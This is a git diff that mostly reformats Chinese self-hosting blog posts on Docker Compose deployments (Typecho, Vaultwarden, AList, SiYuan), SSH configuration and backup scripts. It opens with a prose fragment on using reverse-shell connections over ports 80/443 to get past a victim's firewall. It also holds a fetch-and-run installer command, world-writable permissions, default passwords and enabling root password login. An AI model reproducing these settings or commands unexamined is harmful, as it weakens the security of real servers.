> 被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。
|
- 反向连接 80 和 443 端口使用场景:
|
||||||
>
|
|
||||||
|
> 被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的 80 端口或 443 端口与外部通信。
|
||||||
|
@ -32,21 +32,21 @@ tags: ["Docker-compose"]
|
|||||||
|
|
||||||
构建 PHP 容器,安装 PDO_MySQL 扩展并配置 PHP.ini:
|
构建 PHP 容器,安装 PDO_MySQL 扩展并配置 PHP.ini:
|
||||||
|
|
||||||
```dockerfile
|
```dockerfile
|
||||||
FROM php:fpm
|
FROM php:fpm
|
||||||
|
|
||||||
# 更新包列表并安装 pdo_mysql 扩展
|
# 更新包列表并安装 pdo_mysql 扩展
|
||||||
RUN apt-get update && \
|
RUN apt-get update && \
|
||||||
apt-get install -y libpq-dev && \
|
apt-get install -y libpq-dev && \
|
||||||
docker-php-ext-install pdo_mysql && \
|
docker-php-ext-install pdo_mysql && \
|
||||||
rm -rf /var/lib/apt/lists/*
|
rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
# 设置 PHP 配置
|
# 设置 PHP 配置
|
||||||
RUN { \
|
RUN { \
|
||||||
echo "output_buffering = 4096"; \
|
echo "output_buffering = 4096"; \
|
||||||
echo "date.timezone = PRC"; \
|
echo "date.timezone = PRC"; \
|
||||||
} > /usr/local/etc/php/conf.d/custom.ini
|
} > /usr/local/etc/php/conf.d/custom.ini
|
||||||
```
|
```
|
||||||
|
|
||||||
2. **Nginx 服务器配置**
|
2. **Nginx 服务器配置**
|
||||||
|
|
||||||
@ -54,41 +54,41 @@ tags: ["Docker-compose"]
|
|||||||
|
|
||||||
Nginx 服务器配置文件,包括服务器监听、根目录设置、重写规则和 PHP 处理:
|
Nginx 服务器配置文件,包括服务器监听、根目录设置、重写规则和 PHP 处理:
|
||||||
|
|
||||||
```nginx
|
```nginx
|
||||||
server {
|
server {
|
||||||
listen 80 default_server; # 监听 80 端口
|
listen 80 default_server; # 监听 80 端口
|
||||||
root /var/www/html; # 网站根目录
|
root /var/www/html; # 网站根目录
|
||||||
index index.php index.html index.htm;
|
index index.php index.html index.htm;
|
||||||
|
|
||||||
access_log /var/log/nginx/typecho_access.log main; # 访问日志
|
access_log /var/log/nginx/typecho_access.log main; # 访问日志
|
||||||
if (!-e $request_filename) {
|
if (!-e $request_filename) {
|
||||||
rewrite ^(.*)$ /index.php$1 last; # 重写 URL 到 index.php
|
rewrite ^(.*)$ /index.php$1 last; # 重写 URL 到 index.php
|
||||||
}
|
}
|
||||||
|
|
||||||
location / {
|
location / {
|
||||||
if (!-e $request_filename) {
|
if (!-e $request_filename) {
|
||||||
rewrite . /index.php last; # 如果文件不存在,重写到 index.php
|
rewrite . /index.php last; # 如果文件不存在,重写到 index.php
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
location ~ \.php(.*)$ {
|
location ~ \.php(.*)$ {
|
||||||
fastcgi_pass php:9000; # 转发 PHP 请求到 php-fpm 服务
|
fastcgi_pass php:9000; # 转发 PHP 请求到 php-fpm 服务
|
||||||
fastcgi_index index.php;
|
fastcgi_index index.php;
|
||||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; # 设置脚本文件名参数
|
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; # 设置脚本文件名参数
|
||||||
include fastcgi_params; # 包含 fastcgi 参数
|
include fastcgi_params; # 包含 fastcgi 参数
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
3. **Typecho 源代码部署**
|
3. **Typecho 源代码部署**
|
||||||
|
|
||||||
创建 `./data` 文件夹,并将 [Typecho](https://github.com/typecho/typecho/releases) 源代码放入此文件夹。
|
创建 `./data` 文件夹,并将 [Typecho](https://github.com/typecho/typecho/releases) 源代码放入此文件夹。
|
||||||
|
|
||||||
docker容器不以root权限运行,无法访问文件,需要赋权
|
docker 容器不以 root 权限运行,无法访问文件,需要赋权
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
chmod -R 777 data
|
chmod -R 777 data
|
||||||
```
|
```
|
||||||
|
|
||||||
4. **Docker Compose 配置**
|
4. **Docker Compose 配置**
|
||||||
|
|
||||||
@ -98,52 +98,51 @@ tags: ["Docker-compose"]
|
|||||||
|
|
||||||
可自行更改
|
可自行更改
|
||||||
|
|
||||||
* nginx 中的端口,默认为`9757`
|
- nginx 中的端口,默认为`9757`
|
||||||
* MySQL中的 root的密码 和 需要创建的数据库名称,默认都为`typecho`
|
- MySQL 中的 root 的密码 和 需要创建的数据库名称,默认都为`typecho`
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
services: # 定义多个服务
|
services: # 定义多个服务
|
||||||
|
nginx: # 服务名称
|
||||||
|
image: nginx # 使用的镜像
|
||||||
|
ports: # 映射的端口
|
||||||
|
- "9575:80" # 宿主机端口 9575 映射到容器端口 80
|
||||||
|
restart: always # 容器重启策略
|
||||||
|
volumes: # 映射文件
|
||||||
|
- ./data:/var/www/html # 网站源代码
|
||||||
|
- ./nginx/conf:/etc/nginx/conf.d # nginx 站点配置文件
|
||||||
|
- ./nginx/logs:/var/log/nginx # nginx 日志文件
|
||||||
|
depends_on: # 定义依赖关系
|
||||||
|
- php # 依赖 php 服务
|
||||||
|
networks: # 要加入的网络
|
||||||
|
- typecho # 加入 typecho 网络
|
||||||
|
|
||||||
nginx: # 服务名称
|
php: # 服务名称
|
||||||
image: nginx # 使用的镜像
|
build: ./php # 构建文件的目录
|
||||||
ports: # 映射的端口
|
restart: always # 容器重启策略
|
||||||
- "9575:80" # 宿主机端口 9575 映射到容器端口 80
|
volumes: # 映射文件
|
||||||
restart: always # 容器重启策略
|
- ./data:/var/www/html # 网站源代码
|
||||||
volumes: # 映射文件
|
depends_on: # 定义依赖关系
|
||||||
- ./data:/var/www/html # 网站源代码
|
- mysql # 依赖 mysql 服务
|
||||||
- ./nginx/conf:/etc/nginx/conf.d # nginx 站点配置文件
|
networks: # 要加入的网络
|
||||||
- ./nginx/logs:/var/log/nginx # nginx 日志文件
|
- typecho # 加入 typecho 网络
|
||||||
depends_on: # 定义依赖关系
|
|
||||||
- php # 依赖 php 服务
|
|
||||||
networks: # 要加入的网络
|
|
||||||
- typecho # 加入 typecho 网络
|
|
||||||
|
|
||||||
php: # 服务名称
|
mysql: # 服务名称
|
||||||
build: ./php # 构建文件的目录
|
image: mysql:5.7 # 指定 5.7 版本的 mysql 镜像
|
||||||
restart: always # 容器重启策略
|
restart: always # 容器重启策略
|
||||||
volumes: # 映射文件
|
volumes: # 要映射的文件
|
||||||
- ./data:/var/www/html # 网站源代码
|
- ./mysql/data:/var/lib/mysql # mysql 数据
|
||||||
depends_on: # 定义依赖关系
|
- ./mysql/logs:/var/log/mysql # mysql 日志
|
||||||
- mysql # 依赖 mysql 服务
|
- ./mysql/conf:/etc/mysql/conf.d # mysql 配置文件
|
||||||
networks: # 要加入的网络
|
environment: # 环境变量
|
||||||
- typecho # 加入 typecho 网络
|
MYSQL_ROOT_PASSWORD: typecho # MySQL root 用户的密码
|
||||||
|
MYSQL_DATABASE: typecho # 创建的数据库名称
|
||||||
|
networks: # 要加入的网络
|
||||||
|
- typecho # 加入 typecho 网络
|
||||||
|
|
||||||
mysql: # 服务名称
|
networks: # 定义的内部网络
|
||||||
image: mysql:5.7 # 指定 5.7 版本的 mysql 镜像
|
typecho: # 网络名称
|
||||||
restart: always # 容器重启策略
|
```
|
||||||
volumes: # 要映射的文件
|
|
||||||
- ./mysql/data:/var/lib/mysql # mysql 数据
|
|
||||||
- ./mysql/logs:/var/log/mysql # mysql 日志
|
|
||||||
- ./mysql/conf:/etc/mysql/conf.d # mysql 配置文件
|
|
||||||
environment: # 环境变量
|
|
||||||
MYSQL_ROOT_PASSWORD: typecho # MySQL root 用户的密码
|
|
||||||
MYSQL_DATABASE: typecho # 创建的数据库名称
|
|
||||||
networks: # 要加入的网络
|
|
||||||
- typecho # 加入 typecho 网络
|
|
||||||
|
|
||||||
networks: # 定义的内部网络
|
|
||||||
typecho: # 网络名称
|
|
||||||
```
|
|
||||||
|
|
||||||
## 安装
|
## 安装
|
||||||
|
|
||||||
@ -157,34 +156,34 @@ docker compose up -d
|
|||||||
|
|
||||||
如果修改过`docker-compose.yml`
|
如果修改过`docker-compose.yml`
|
||||||
|
|
||||||
* 数据库地址: `mysql`
|
- 数据库地址: `mysql`
|
||||||
|
|
||||||
```text
|
```text
|
||||||
因为docker内部网络可以用过容器名访问
|
因为docker内部网络可以用过容器名访问
|
||||||
```
|
```
|
||||||
|
|
||||||
* 数据库用户名: `root`
|
- 数据库用户名: `root`
|
||||||
* 数据库密码: `typecho`
|
- 数据库密码: `typecho`
|
||||||
* 数据库名: `typecho`
|
- 数据库名: `typecho`
|
||||||
* 启用数据库 SSL 服务端证书验证: 关闭
|
- 启用数据库 SSL 服务端证书验证: 关闭
|
||||||
* 其他默认或随意
|
- 其他默认或随意
|
||||||
|
|
||||||
## 问题
|
## 问题
|
||||||
|
|
||||||
### 恢复直接用nginx+MySQL搭建的网站
|
### 恢复直接用 nginx+MySQL 搭建的网站
|
||||||
|
|
||||||
1. 将原来的文件放入data
|
1. 将原来的文件放入 data
|
||||||
|
|
||||||
2. 进入mysql容器,导入数据库文件
|
2. 进入 mysql 容器,导入数据库文件
|
||||||
|
|
||||||
3. 在`docker-compose.yml`的环境变量中加入
|
3. 在`docker-compose.yml`的环境变量中加入
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
MYSQL_USER=typecho # 原有 MySQL 用户名
|
MYSQL_USER=typecho # 原有 MySQL 用户名
|
||||||
MYSQL_PASSWORD=typecho # 原有 MySQL 用户密码
|
MYSQL_PASSWORD=typecho # 原有 MySQL 用户密码
|
||||||
```
|
```
|
||||||
|
|
||||||
4. 进入mysql容器,将数据库赋权给原用户
|
4. 进入 mysql 容器,将数据库赋权给原用户
|
||||||
|
|
||||||
### 排版错误
|
### 排版错误
|
||||||
|
|
||||||
|
@ -72,7 +72,7 @@ ssh -p 7222 -o StrictHostKeyChecking=no git@127.0.0.1 "SSH_ORIGINAL_COMMAND=\"$S
|
|||||||
|
|
||||||
### 3. 创建`docker-compose.yml` 文件并配置
|
### 3. 创建`docker-compose.yml` 文件并配置
|
||||||
|
|
||||||
> 将下面的USER_UID=1000 USER_GID=1000 换为得到uid 和 gid
|
> 将下面的 USER_UID=1000 USER_GID=1000 换为得到 uid 和 gid
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
version: "3"
|
version: "3"
|
||||||
@ -149,3 +149,4 @@ server {
|
|||||||
proxy_set_header X-Forwarded-Port $server_port;
|
proxy_set_header X-Forwarded-Port $server_port;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
```
|
||||||
|
@ -8,8 +8,8 @@ tags: ["Docker-compose"]
|
|||||||
|
|
||||||
### 替换说明
|
### 替换说明
|
||||||
|
|
||||||
* 将 `/var/www/siyuan/` 替换为你的实际物理路径。
|
- 将 `/var/www/siyuan/` 替换为你的实际物理路径。
|
||||||
* 将 `Password` 替换为你的访问密码。
|
- 将 `Password` 替换为你的访问密码。
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
version: "3.9"
|
version: "3.9"
|
||||||
@ -30,10 +30,10 @@ services:
|
|||||||
|
|
||||||
## 反向代理配置
|
## 反向代理配置
|
||||||
|
|
||||||
### Nginx配置替换说明
|
### Nginx 配置替换说明
|
||||||
|
|
||||||
* 将 `your_domain.com` 替换为你自己的域名。
|
- 将 `your_domain.com` 替换为你自己的域名。
|
||||||
* 将 `path` 替换为你的SSL证书的实际路径。
|
- 将 `path` 替换为你的 SSL 证书的实际路径。
|
||||||
|
|
||||||
```nginx
|
```nginx
|
||||||
upstream siyuan {
|
upstream siyuan {
|
||||||
@ -78,3 +78,4 @@ server {
|
|||||||
proxy_set_header Connection 'Upgrade'; # 支持 WebSocket
|
proxy_set_header Connection 'Upgrade'; # 支持 WebSocket
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
```
|
||||||
|
@ -2,7 +2,6 @@
|
|||||||
title: "密码管理器—Vaultwarden(bitwarden)"
|
title: "密码管理器—Vaultwarden(bitwarden)"
|
||||||
date: 2023-05-18T21:47:00+00:00
|
date: 2023-05-18T21:47:00+00:00
|
||||||
tags: ["Docker-compose"]
|
tags: ["Docker-compose"]
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 1. 安装 Vaultwarden
|
## 1. 安装 Vaultwarden
|
||||||
@ -10,7 +9,7 @@ tags: ["Docker-compose"]
|
|||||||
使用以下 `docker-compose.yml` 文件部署 Vaultwarden:
|
使用以下 `docker-compose.yml` 文件部署 Vaultwarden:
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
version: '3.8'
|
version: "3.8"
|
||||||
services:
|
services:
|
||||||
bitwarden:
|
bitwarden:
|
||||||
image: vaultwarden/server:latest
|
image: vaultwarden/server:latest
|
||||||
@ -34,10 +33,10 @@ services:
|
|||||||
|
|
||||||
> **需要修改的参数**
|
> **需要修改的参数**
|
||||||
>
|
>
|
||||||
> 1. `ssl_certificate` : SSL证书路径
|
> 1. `ssl_certificate` : SSL 证书路径
|
||||||
> 2. `ssl_certificate_key` : SSL证书路径
|
> 2. `ssl_certificate_key` : SSL 证书路径
|
||||||
> 3. `server_name`: 跟你前面配置的domain相同,案例中为`b.lsy22.com`
|
> 3. `server_name`: 跟你前面配置的 domain 相同,案例中为`b.lsy22.com`
|
||||||
> 4. `proxy_pass` : 运行Vaultwarden的服务器地址和端口,比如本机为127.0.0.1:6666
|
> 4. `proxy_pass` : 运行 Vaultwarden 的服务器地址和端口,比如本机为 127.0.0.1:6666
|
||||||
|
|
||||||
```nginx
|
```nginx
|
||||||
server {
|
server {
|
||||||
|
@ -1,25 +1,25 @@
|
|||||||
---
|
---
|
||||||
title: "网盘直链程序—AList"
|
title: "网盘直链程序—AList"
|
||||||
date: 2023-05-26T20:21:00+00:00
|
date: 2023-05-26T20:21:00+00:00
|
||||||
tags: ["Docker-compose","WebDAV"]
|
tags: ["Docker-compose", "WebDAV"]
|
||||||
---
|
---
|
||||||
|
|
||||||
## 1. 项目展示
|
## 1. 项目展示
|
||||||
|
|
||||||
- **GitHub项目地址**:[Alist on GitHub](https://github.com/Xhofe/alist)
|
- **GitHub 项目地址**:[Alist on GitHub](https://github.com/Xhofe/alist)
|
||||||
- **Demo演示站点**:[访问Demo](https://alist.nn.ci)
|
- **Demo 演示站点**:[访问 Demo](https://alist.nn.ci)
|
||||||
- **Alist文档地址**:[阅读文档](https://alist-doc.nn.ci/en/)
|
- **Alist 文档地址**:[阅读文档](https://alist-doc.nn.ci/en/)
|
||||||
|
|
||||||
## 2. 搭建Docker
|
## 2. 搭建 Docker
|
||||||
|
|
||||||
- [Docker官方部署教程](https://docs.docker.com/engine/install/debian/)
|
- [Docker 官方部署教程](https://docs.docker.com/engine/install/debian/)
|
||||||
|
|
||||||
## 3. 搭建Alist
|
## 3. 搭建 Alist
|
||||||
|
|
||||||
运行以下Docker Compose文件进行Alist的安装:
|
运行以下 Docker Compose 文件进行 Alist 的安装:
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
version: '3.8'
|
version: "3.8"
|
||||||
services:
|
services:
|
||||||
alist:
|
alist:
|
||||||
image: xhofe/alist:latest
|
image: xhofe/alist:latest
|
||||||
@ -31,12 +31,12 @@ services:
|
|||||||
- "7777:5244"
|
- "7777:5244"
|
||||||
```
|
```
|
||||||
|
|
||||||
- **查看初始化密码**:运行`docker logs alist`命令,可以查看Alist的初始密码。
|
- **查看初始化密码**:运行`docker logs alist`命令,可以查看 Alist 的初始密码。
|
||||||
- **更改密码建议**:建议更改一个自己能够记住的密码。
|
- **更改密码建议**:建议更改一个自己能够记住的密码。
|
||||||
|
|
||||||
## 4. 配置反向代理
|
## 4. 配置反向代理
|
||||||
|
|
||||||
配置Nginx反向代理,以便安全访问Alist站点:
|
配置 Nginx 反向代理,以便安全访问 Alist 站点:
|
||||||
|
|
||||||
```nginx
|
```nginx
|
||||||
server {
|
server {
|
||||||
@ -72,15 +72,15 @@ server {
|
|||||||
## 6. 挂载配置
|
## 6. 挂载配置
|
||||||
|
|
||||||
- **挂载路径**:`/`
|
- **挂载路径**:`/`
|
||||||
- **根目录路径**:`/opt/alist/data/`对应VPS上的`/www/wwwroot/alist`目录。
|
- **根目录路径**:`/opt/alist/data/`对应 VPS 上的`/www/wwwroot/alist`目录。
|
||||||
|
|
||||||
如果需要进一步的目录细分,可以设置路径为`/opt/alist/data/Userdata/`,在`/www/wwwroot/alist`下创建`Userdata`文件夹,并存放文件。
|
如果需要进一步的目录细分,可以设置路径为`/opt/alist/data/Userdata/`,在`/www/wwwroot/alist`下创建`Userdata`文件夹,并存放文件。
|
||||||
|
|
||||||
- **其他网盘添加方式**:请参考[Alist文档](https://alist-doc.nn.ci/en/)
|
- **其他网盘添加方式**:请参考[Alist 文档](https://alist-doc.nn.ci/en/)
|
||||||
|
|
||||||
## 7. 更新Alist
|
## 7. 更新 Alist
|
||||||
|
|
||||||
若需更新Alist,请按以下步骤操作:
|
若需更新 Alist,请按以下步骤操作:
|
||||||
|
|
||||||
1. **停止容器**:运行`docker stop alist`
|
1. **停止容器**:运行`docker stop alist`
|
||||||
2. **删除容器**:运行`docker rm -f alist`(此操作不会删除数据)
|
2. **删除容器**:运行`docker rm -f alist`(此操作不会删除数据)
|
||||||
|
@ -42,20 +42,19 @@ sh -c "$(wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/ins
|
|||||||
|
|
||||||
### 主题
|
### 主题
|
||||||
|
|
||||||
* [powerlevel10k](https://github.com/romkatv/powerlevel10k)
|
- [powerlevel10k](https://github.com/romkatv/powerlevel10k)
|
||||||
|
|
||||||
### 插件
|
### 插件
|
||||||
|
|
||||||
* [zsh-autosuggestions](https://github.com/zsh-users/zsh-autosuggestions): 根据历史记录和完成情况在您输入时建议命令
|
- [zsh-autosuggestions](https://github.com/zsh-users/zsh-autosuggestions): 根据历史记录和完成情况在您输入时建议命令
|
||||||
* [zsh-syntax-highlighting](https://github.com/zsh-users/zsh-syntax-highlighting): 输入命令时提供语法高亮
|
- [zsh-syntax-highlighting](https://github.com/zsh-users/zsh-syntax-highlighting): 输入命令时提供语法高亮
|
||||||
|
|
||||||
#### oh-my-zsh 自带插件
|
#### oh-my-zsh 自带插件
|
||||||
|
|
||||||
直接按照上述方法在 `.zshrc` 配置的 `plugins` 中加入即可:
|
直接按照上述方法在 `.zshrc` 配置的 `plugins` 中加入即可:
|
||||||
|
|
||||||
* [command-not-found](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/command-not-found): 在 `zsh` 找不到命令时提供建议的安装包
|
- [command-not-found](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/command-not-found): 在 `zsh` 找不到命令时提供建议的安装包
|
||||||
* [extract](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/extract): 使用 `x` 命令解压任何压缩文件
|
- [extract](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/extract): 使用 `x` 命令解压任何压缩文件
|
||||||
* [pip](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/pip): 为 `python` 包管理器 `pip` 提供补全
|
- [pip](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/pip): 为 `python` 包管理器 `pip` 提供补全
|
||||||
* [docker](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker): 为 `docker` 命令添加自动补全支持
|
- [docker](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker): 为 `docker` 命令添加自动补全支持
|
||||||
* [docker-compose](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker-compose): 为 `docker-compose` 命令添加自动补全支持
|
- [docker-compose](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker-compose): 为 `docker-compose` 命令添加自动补全支持
|
||||||
|
|
||||||
|
@ -4,86 +4,86 @@ date: 2024-06-30T23:46:05+08:00
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
## 更改root密码
|
## 更改 root 密码
|
||||||
|
|
||||||
> 将`password`更改为所需的密码
|
> 将`password`更改为所需的密码
|
||||||
|
|
||||||
1. 修改密码
|
1. 修改密码
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo root:`password` |sudo chpasswd root
|
echo root:`password` |sudo chpasswd root
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 开启root登录
|
2. 开启 root 登录
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config;
|
sudo sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config;
|
||||||
```
|
```
|
||||||
|
|
||||||
3. 开启密码登录
|
3. 开启密码登录
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication yes/g' /etc/ssh/sshd_config;
|
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication yes/g' /etc/ssh/sshd_config;
|
||||||
```
|
```
|
||||||
|
|
||||||
4. 重启ssh服务
|
4. 重启 ssh 服务
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
systemctl restart sshd.service
|
systemctl restart sshd.service
|
||||||
```
|
```
|
||||||
|
|
||||||
## 配置使用密钥登录
|
## 配置使用密钥登录
|
||||||
|
|
||||||
1. 生成密钥和公钥,请执行以下命令:
|
1. 生成密钥和公钥,请执行以下命令:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ssh-keygen -t rsa -b 4096
|
ssh-keygen -t rsa -b 4096
|
||||||
```
|
```
|
||||||
|
|
||||||
> 连续执行回车即可生成密钥和公钥对。如果需要设置密码,请在密码提示处输入密码。
|
> 连续执行回车即可生成密钥和公钥对。如果需要设置密码,请在密码提示处输入密码。
|
||||||
|
|
||||||
2. 安装ssh公钥
|
2. 安装 ssh 公钥
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp "$HOME/.ssh/id_rsa.pub" "$HOME/.ssh/authorized_keys"
|
cp "$HOME/.ssh/id_rsa.pub" "$HOME/.ssh/authorized_keys"
|
||||||
```
|
```
|
||||||
|
|
||||||
3. 设置公钥权限
|
3. 设置公钥权限
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
chmod 600 "$HOME/.ssh/authorized_keys"
|
chmod 600 "$HOME/.ssh/authorized_keys"
|
||||||
chmod 700 "$HOME/.ssh"
|
chmod 700 "$HOME/.ssh"
|
||||||
```
|
```
|
||||||
|
|
||||||
4. ssh配置文件
|
4. ssh 配置文件
|
||||||
|
|
||||||
1. 开启密钥登录
|
1. 开启密钥登录
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo sed -i 's/^#\?PubkeyAuthentication.*/PubkeyAuthentication yes/g' /etc/ssh/sshd_config
|
sudo sed -i 's/^#\?PubkeyAuthentication.*/PubkeyAuthentication yes/g' /etc/ssh/sshd_config
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 关闭密码登录
|
2. 关闭密码登录
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/g' /etc/ssh/sshd_config
|
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/g' /etc/ssh/sshd_config
|
||||||
```
|
```
|
||||||
|
|
||||||
5. 重启sshd服务
|
5. 重启 sshd 服务
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
systemctl restart sshd.service
|
systemctl restart sshd.service
|
||||||
```
|
```
|
||||||
|
|
||||||
## ssh登录后闲置时间过长而断开连接
|
## ssh 登录后闲置时间过长而断开连接
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo "ServerAliveInterval 60" >> "$HOME/.ssh/config"
|
echo "ServerAliveInterval 60" >> "$HOME/.ssh/config"
|
||||||
```
|
```
|
||||||
|
|
||||||
> ssh客户端会每隔一段60s,自动与ssh服务器通信一次
|
> ssh 客户端会每隔一段 60s,自动与 ssh 服务器通信一次
|
||||||
|
|
||||||
## 存放ssh密钥密码
|
## 存放 ssh 密钥密码
|
||||||
|
|
||||||
### 启动`ssh-agent`
|
### 启动`ssh-agent`
|
||||||
|
|
||||||
|
@ -4,41 +4,41 @@ date: 2024-05-03T20:32:15+08:00
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
## 安装bypy
|
## 安装 bypy
|
||||||
|
|
||||||
### 安装 pip 和虚拟环境
|
### 安装 pip 和虚拟环境
|
||||||
|
|
||||||
1. 安装虚拟环境创建工具:
|
1. 安装虚拟环境创建工具:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install python3-venv -y
|
sudo apt-get install python3-venv -y
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 创建一个新的虚拟环境:
|
2. 创建一个新的虚拟环境:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
python3 -m venv "/var/script/venv"
|
python3 -m venv "/var/script/venv"
|
||||||
```
|
```
|
||||||
|
|
||||||
3. 激活虚拟环境:
|
3. 激活虚拟环境:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
source "/var/script/venv/bin/activate"
|
source "/var/script/venv/bin/activate"
|
||||||
```
|
```
|
||||||
|
|
||||||
4. 安装 Python 库
|
4. 安装 Python 库
|
||||||
|
|
||||||
1. 安装 bypy:
|
1. 安装 bypy:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pip install bypy
|
pip install bypy
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 安装 requests:
|
2. 安装 requests:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pip install requests
|
pip install requests
|
||||||
```
|
```
|
||||||
|
|
||||||
### bypy 设置
|
### bypy 设置
|
||||||
|
|
||||||
@ -52,51 +52,51 @@ tags: []
|
|||||||
|
|
||||||
##### bypy 基本操作
|
##### bypy 基本操作
|
||||||
|
|
||||||
* `bypy info`:查看空间使用信息。
|
- `bypy info`:查看空间使用信息。
|
||||||
* `bypy list`:查看目录信息。
|
- `bypy list`:查看目录信息。
|
||||||
* `bypy upload`:上传根目录所有文件。
|
- `bypy upload`:上传根目录所有文件。
|
||||||
* `bypy downdir`:把云盘上的内容同步到本地。
|
- `bypy downdir`:把云盘上的内容同步到本地。
|
||||||
* `bypy compare`:比较本地当前目录和云盘根目录。
|
- `bypy compare`:比较本地当前目录和云盘根目录。
|
||||||
|
|
||||||
## 安装阿里网盘备份工具
|
## 安装阿里网盘备份工具
|
||||||
|
|
||||||
Github项目地址:[https://github.com/tickstep/aliyunpan](https://github.com/tickstep/aliyunpan)
|
Github 项目地址:[https://github.com/tickstep/aliyunpan](https://github.com/tickstep/aliyunpan)
|
||||||
|
|
||||||
1. 下载工具包
|
1. 下载工具包
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
wget -P "/var/script" https://github.com/tickstep/aliyunpan/releases/download/v0.3.2/aliyunpan-v0.3.2-linux-amd64.zip -O "/var/script/aliyunpan.zip"
|
wget -P "/var/script" https://github.com/tickstep/aliyunpan/releases/download/v0.3.2/aliyunpan-v0.3.2-linux-amd64.zip -O "/var/script/aliyunpan.zip"
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 解压工具包
|
2. 解压工具包
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
unzip "/var/script/aliyunpan.zip" -d "/var/script"
|
unzip "/var/script/aliyunpan.zip" -d "/var/script"
|
||||||
```
|
```
|
||||||
|
|
||||||
3. 删除压缩包
|
3. 删除压缩包
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
rm "/var/script/aliyunpan.zip"
|
rm "/var/script/aliyunpan.zip"
|
||||||
```
|
```
|
||||||
|
|
||||||
4. 重命名工具包名
|
4. 重命名工具包名
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mv "/var/script/$(ls "/var/script" | grep "aliyunpan")" "/var/script/aliyunpan"
|
mv "/var/script/$(ls "/var/script" | grep "aliyunpan")" "/var/script/aliyunpan"
|
||||||
```
|
```
|
||||||
|
|
||||||
5. 登录阿里云盘
|
5. 登录阿里云盘
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
/var/script/aliyunpan/aliyunpan login
|
/var/script/aliyunpan/aliyunpan login
|
||||||
```
|
```
|
||||||
|
|
||||||
## Shell 备份脚本
|
## Shell 备份脚本
|
||||||
|
|
||||||
> 将`数据路径`,`网站根目录名称`,`数据库名称`,`数据库用户名`,`数据库密码`改为自己的
|
> 将`数据路径`,`网站根目录名称`,`数据库名称`,`数据库用户名`,`数据库密码`改为自己的
|
||||||
|
|
||||||
### 使用于只用docker-compose搭建,只需要备份文件,并上传到网盘
|
### 使用于只用 docker-compose 搭建,只需要备份文件,并上传到网盘
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
@ -123,7 +123,7 @@ for item in "$web_path"/*; do
|
|||||||
done
|
done
|
||||||
```
|
```
|
||||||
|
|
||||||
### 适用于 mysql+nginx的网站,需要备份文件和数据库,并上传到网盘
|
### 适用于 mysql+nginx 的网站,需要备份文件和数据库,并上传到网盘
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
